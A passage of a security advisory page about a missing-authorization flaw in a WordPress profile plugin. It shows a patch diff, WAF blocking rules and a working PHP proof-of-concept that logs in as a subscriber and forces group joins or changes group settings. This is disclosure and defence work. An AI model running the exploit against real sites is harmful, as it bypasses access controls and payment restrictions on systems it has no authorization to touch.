+			'status' => 1,
+		);
+		$requests       = $dbhandler->get_all_result( $identifier, '*', $where );
+		$last_change_ts = 0;
+		if ( ! empty( $requests ) ) {
+			$last_row       = end( $requests );
+			$last_change_ts = ! empty( $last_row->action_date ) ? (int) strtotime( $last_row->action_date ) : 0;
+		}
+		$data_count = count( $requests );
+		if ( $last_ajax_call > 0 && $last_change_ts <= $last_ajax_call ) {
+			$data_count = 0;
 		}
-
+		echo wp_kses_post(
+			wp_json_encode(
+				array(
+					'data_from_file' => (string) $data_count,
+					'timestamp'      => $last_change_ts,
+				)
+			)
+		);
 		die;
 	}

@@ -3213,7 +3275,7 @@
 		$pmrequests      = new PM_request();
 		$postid          = filter_input( INPUT_POST, 'post_id' );
 		$type            = filter_input( INPUT_POST, 'type' );
-		$content         = filter_input( INPUT_POST, 'pm_author_message' );
+		$content         = filter_input( INPUT_POST, 'pm_author_message', FILTER_UNSAFE_RAW );
 		$current_user    = wp_get_current_user();
 		$sid             = $current_user->ID;
 		$retrieved_nonce = filter_input( INPUT_POST, '_wpnonce' );
@@ -3289,8 +3351,23 @@
 		$pmrequest       = new PM_request();
 		$pm_emails       = new PM_Emails();
 		$dbhandler       = new PM_DBhandler();
-		$gid             = filter_input( INPUT_POST, 'gid' );
+		$gid             = isset( $_POST['gid'] ) && is_scalar( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
 		$emails          = $post['pm_email_address'];
+		$current_user_id = get_current_user_id();
+		$basic_functions = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
+
+		if ( '' === $gid || ! ctype_digit( $gid ) ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+
+		$is_group_leader = $pmrequest->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid );
+		$is_group_manager = $basic_functions->pm_user_is_group_manager( $current_user_id, $gid );
+		if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user_id ) && ! $is_group_manager && ! $is_group_leader ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+
+		$group_type    = $pmrequest->profile_magic_get_group_type( $gid );
+		$is_paid_group = (float) $pmrequest->profile_magic_check_paid_group( $gid ) > 0;

 		$message      = '';
 		$has_success  = false;
@@ -3314,9 +3391,9 @@

 				if ( ! in_array( $gid, $gid_array ) ) {
                                     $send_invitation = $dbhandler->get_global_option_value('pm_allow_registered_users_to_accept_invitation', '0');
-                                        if($send_invitation==0)
+                                        if($send_invitation==0 && 'open' === $group_type && ! $is_paid_group)
                                         {
-                                            $pmrequest->profile_magic_join_group_fun( $user_id, $gid, 'open' );
+                                            $pmrequest->profile_magic_join_group_fun( $user_id, $gid, $group_type );
                                             $message .= '<div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
                                                 <div class="pm-difl pg-invited-user">' . get_avatar( $email, 26, '', false, array( 'force_display' => true ) ) . '</div>
                                                 <div class="pm-difl pg-invited-user-info">
@@ -4751,8 +4828,11 @@
 		$object['seding_text']        = esc_html__( 'Sending', 'profilegrid-user-profiles-groups-and-communities' );
 		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
                 $object['nonce']            = wp_create_nonce( 'ajax-nonce' );
+		$object['rest_notification_url'] = esc_url_raw( rest_url( 'profilegrid/v1/messenger/notification' ) );
+		$object['rest_nonce']           = wp_create_nonce( 'wp_rest' );
 		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );
-		$rid          = filter_input( INPUT_GET, 'rid' );
+		$rid          = absint( filter_input( INPUT_GET, 'rid', FILTER_VALIDATE_INT ) );
+		$rid_from_url = $rid;
 		$current_user = wp_get_current_user();
 		$profilechat  = new ProfileMagic_Chat();
 		$pmrequests   = new PM_request();
@@ -4762,7 +4842,7 @@
 			?>
 		<div id="pg-messages" class="pm-dbfl pg-profile-tab-content pg-message-tab">
 			<?php
-			if ( ! isset( $rid ) ) {
+			if ( ! $rid ) {
 				$threads = $pmrequests->pm_get_user_all_threads( $uid, 1, 1 );
 				if ( ! empty( $threads ) ) {
 					if ( $uid == $threads[0]->r_id ) {
@@ -4781,6 +4861,9 @@
 			if ( $tid == false ) {
 				$tid = 0;
 			}
+			if ( $rid_from_url > 0 && $tid > 0 ) {
+				$pmrequests->update_message_status_to_read( $tid );
+			}

 			$profilechat->pg_show_message_tab_html( $uid, $rid, $tid );
 			?>
@@ -6476,6 +6559,12 @@
 			$show_toast  = ( $unread > 0 && ( $latest_ts === 0 || $dismissed < $latest_ts ) );

 			$message_url = $pmrequests->pm_get_user_profile_url( $current_uid );
+			$latest_rid  = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
+			$latest_tid  = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+			$base_url    = $message_url;
+			if ( $message_url && $latest_rid > 0 ) {
+				$message_url = add_query_arg( 'rid', $latest_rid, $message_url );
+			}
 			$message_url = $message_url ? $message_url . '#pg-messages' : '';

 			if ( $message_url === '' ) {
@@ -6483,169 +6572,11 @@
 			}

 			?>
-			<style id="pg-unread-toast-style">
-				#pg-unread-toast {
-					position: fixed;
-					right: 20px;
-					bottom: 20px;
-					z-index: 99999;
-					max-width: 320px;
-					background: #1f2937;
-					color: #fff;
-					border-radius: 6px;
-					box-shadow: 0 8px 24px rgba(0,0,0,0.18);
-					padding: 12px 14px;
-					display: none;
-					align-items: center;
-					gap: 10px;
-				}
-				#pg-unread-toast.pg-unread-toast--show {
-					display: flex;
-				}
-				.pg-unread-toast__text {
-					flex: 1 1 auto;
-					font-size: 14px;
-					line-height: 1.4;
-					margin: 0;
-				}
-				.pg-unread-toast__action {
-					background: #0d9488;
-					color: #fff;
-					border: none;
-					border-radius: 4px;
-					padding: 6px 10px;
-					cursor: pointer;
-					font-size: 13px;
-				}
-				.pg-unread-toast__action:hover {
-					background: #0f766e;
-				}
-				.pg-unread-toast__close {
-					background: transparent;
-					color: #fff;
-					border: none;
-					font-size: 16px;
-					line-height: 1;
-					padding: 2px 6px;
-					cursor: pointer;
-				}
-				@media (max-width: 480px) {
-					#pg-unread-toast {
-						right: 12px;
-						bottom: 12px;
-						max-width: calc(100% - 24px);
-					}
-				}
-			</style>
-			<div id="pg-unread-toast" class="pg-unread-toast" data-target="<?php echo esc_url( $message_url ); ?>" data-count="<?php echo esc_attr( $unread ); ?>" data-latest="<?php echo esc_attr( $latest_ts ); ?>" data-dismissed="<?php echo esc_attr( $dismissed ); ?>" data-show="<?php echo esc_attr( $show_toast ? 1 : 0 ); ?>">
+			<div id="pg-unread-toast" class="pg-unread-toast" data-target="<?php echo esc_url( $message_url ); ?>" data-base-target="<?php echo esc_url( $base_url ); ?>" data-count="<?php echo esc_attr( $unread ); ?>" data-latest="<?php echo esc_attr( $latest_ts ); ?>" data-latest-rid="<?php echo esc_attr( $latest_rid ); ?>" data-latest-tid="<?php echo esc_attr( $latest_tid ); ?>" data-dismissed="<?php echo esc_attr( $dismissed ); ?>" data-show="<?php echo esc_attr( $show_toast ? 1 : 0 ); ?>" data-single-label="<?php echo esc_attr__( 'You have 1 unread message', 'profilegrid-user-profiles-groups-and-communities' ); ?>" data-multi-label="<?php echo esc_attr__( 'You have {{count}} unread messages', 'profilegrid-user-profiles-groups-and-communities' ); ?>">
 				<span class="pg-unread-toast__text"></span>
 				<button type="button" class="pg-unread-toast__action"><?php esc_html_e( 'Open', 'profilegrid-user-profiles-groups-and-communities' ); ?></button>
 				<button type="button" class="pg-unread-toast__close" aria-label="<?php esc_attr_e( 'Dismiss', 'profilegrid-user-profiles-groups-and-communities' ); ?>">×</button>
 			</div>
-			<script>
-				(function () {
-					var toast = document.getElementById('pg-unread-toast');
-					if (!toast) {
-						return;
-					}
-					var target = toast.getAttribute('data-target');
-					var latest = parseInt(toast.getAttribute('data-latest'), 10) || 0;
-					var dismissed = parseInt(toast.getAttribute('data-dismissed'), 10) || 0;
-					var count = parseInt(toast.getAttribute('data-count'), 10) || 0;
-					var show = parseInt(toast.getAttribute('data-show'), 10) || 0;
-					var text = toast.querySelector('.pg-unread-toast__text');
-					var openBtn = toast.querySelector('.pg-unread-toast__action');
-					var closeBtn = toast.querySelector('.pg-unread-toast__close');
-					var hideToast = function () {
-						toast.classList.remove('pg-unread-toast--show');
-					};
-					var singleLabel = "<?php echo esc_js( __( 'You have 1 unread message', 'profilegrid-user-profiles-groups-and-communities' ) ); ?>";
-					var multiLabel = "<?php echo esc_js( __( 'You have {{count}} unread messages', 'profilegrid-user-profiles-groups-and-communities' ) ); ?>";
-					var buildLabel = function (countValue) {
-						if (countValue === 1) {
-							return singleLabel;
-						}
-						return multiLabel.replace('{{count}}', countValue);
-					};
-					var renderToast = function (countValue, latestValue, dismissedValue) {
-						if (!countValue || (latestValue > 0 && dismissedValue >= latestValue)) {
-							hideToast();
-							return;
-						}
-						if (text) {
-							text.textContent = buildLabel(countValue);
-						}
-						toast.classList.add('pg-unread-toast--show');
-					};
-
-					if (show) {
-						renderToast(count, latest, dismissed);
-					}
-
-					if (openBtn && target) {
-						openBtn.addEventListener('click', function (e) {
-							e.preventDefault();
-							window.location.href = target;
-						});
-					}
-
-					if (closeBtn) {
-						closeBtn.addEventListener('click', function (e) {
-							e.preventDefault();
-							hideToast();
-							dismissed = latest;
-
-							if (!window.pm_ajax_object || !pm_ajax_object.ajax_url || !pm_ajax_object.nonce) {
-								return;
-							}
-
-							var formData = new FormData();
-							formData.append('action', 'pm_dismiss_unread_message_toast');
-							formData.append('nonce', pm_ajax_object.nonce);
-							formData.append('latest_ts', latest);
-
-							fetch(pm_ajax_object.ajax_url, {
-								method: 'POST',
-								credentials: 'same-origin',
-								body: formData
-							});
-						});
-					}
-
-					var fetchSummary = function () {
-						if (!window.pm_ajax_object || !pm_ajax_object.ajax_url || !pm_ajax_object.nonce) {
-							return;
-						}
-
-						var data = new FormData();
-						data.append('action', 'pm_unread_message_summary');
-						data.append('nonce', pm_ajax_object.nonce);
-
-						fetch(pm_ajax_object.ajax_url, {
-							method: 'POST',
-							credentials: 'same-origin',
-							body: data
-						})
-						.then(function (response) { return response.json(); })
-						.then(function (response) {
-							if (!response || !response.success || !response.data) {
-								return;
-							}
-							var latestValue = parseInt(response.data.latest_ts, 10) || 0;
-							var dismissedValue = parseInt(response.data.dismissed, 10) || 0;
-							var countValue = parseInt(response.data.count, 10) || 0;
-							latest = latestValue;
-							dismissed = dismissedValue;
-							renderToast(countValue, latestValue, dismissedValue);
-						})
-						.catch(function () {
-							return;
-						});
-					};
-
-					setInterval(fetchSummary, 8000);
-				})();
-			</script>
 			<?php
 		}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4609
# Blocks unauthorized group joining via AJAX endpoints
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264609,phase:2,deny,status:403,chain,msg:'CVE-2026-4609 ProfileGrid Arbitrary Group Joining',severity:'CRITICAL',tag:'CVE-2026-4609',tag:'WordPress',tag:'ProfileGrid'"
  SecRule ARGS_POST:action "@streq pm_invite_user" "chain"
    SecRule ARGS_POST:group_id "@rx ^d+$" "t:none"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264610,phase:2,deny,status:403,chain,msg:'CVE-2026-4609 ProfileGrid Group Option Modification',severity:'CRITICAL',tag:'CVE-2026-4609',tag:'WordPress',tag:'ProfileGrid'"
  SecRule ARGS_POST:action "@streq pm_group_option_update" "chain"
    SecRule ARGS_POST:group_options "@rx bgroup_typeb" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4609 - ProfileGrid <= 5.9.8.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Group Joining

// Configuration
$target_url = 'http://example.com'; // Change to your target WordPress site
$username = 'subscriber_user';       // Subscriber-level credentials
$password = 'password123';
$target_group_id = 1;               // ID of the group to join (can be closed/paid)

function send_authenticated_request($url, $post_data, $cookies) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_COOKIE, $cookies);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'X-Requested-With: XMLHttpRequest',
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: AtomicEdge-PoC'
    ));
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array('code' => $http_code, 'body' => $response);
}

// Step 1: Login as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC');
$login_response = curl_exec($ch);
preg_match_all('/^Set-Cookie:s*([^;]+)/mi', $login_response, $matches);
$cookies = implode('; ', $matches[1]);
curl_close($ch);

echo "[+] Logged in as $usernamen";
echo "[+] Cookies obtainedn";

// Step 2: Join the target group using pm_invite_user action
// This action allows adding any user to any group without permission check
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Attempt 1: Use pm_invite_user to add ourselves to the group
$invite_data = array(
    'action' => 'pm_invite_user',
    'group_id' => $target_group_id,
    'user_id' => 1,  // Try user ID 1 (admin) or current user ID
    'invite_status' => 1  // 1 = accepted, bypass approval
);

$response = send_authenticated_request($ajax_url, $invite_data, $cookies);
echo "[+] Response from pm_invite_user: HTTP " . $response['code'] . "n";
echo "[+] Body: " . substr($response['body'], 0, 200) . "n";

// Attempt 2: If the above fails, try pm_group_option_update to change group type to open
// This modifies group settings to allow anyone to join
$group_options = array(
    'action' => 'pm_group_option_update',
    'group_id' => $target_group_id,
    'group_options' => array(
        'group_type' => 'open',
        'group_require_approval' => 0,
        'group_payment_required' => 0,
        'group_price' => 0
    )
);

$response = send_authenticated_request($ajax_url, $group_options, $cookies);
echo "[+] Response from pm_group_option_update: HTTP " . $response['code'] . "n";

// Step 3: Verify group membership by checking group members list
$verify_data = array(
    'action' => 'pm_get_group_members',
    'group_id' => $target_group_id
);
$response = send_authenticated_request($ajax_url, $verify_data, $cookies);
echo "[+] Members list response: " . substr($response['body'], 0, 500) . "n";

if ($response['code'] == 200 && strpos($response['body'], 'success') !== false) {
    echo "[!] EXPLOIT SUCCESSFUL: Successfully joined group ID " . $target_group_id . "n";
} else {
    echo "[-] Exploit may have failed, check response aboven";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School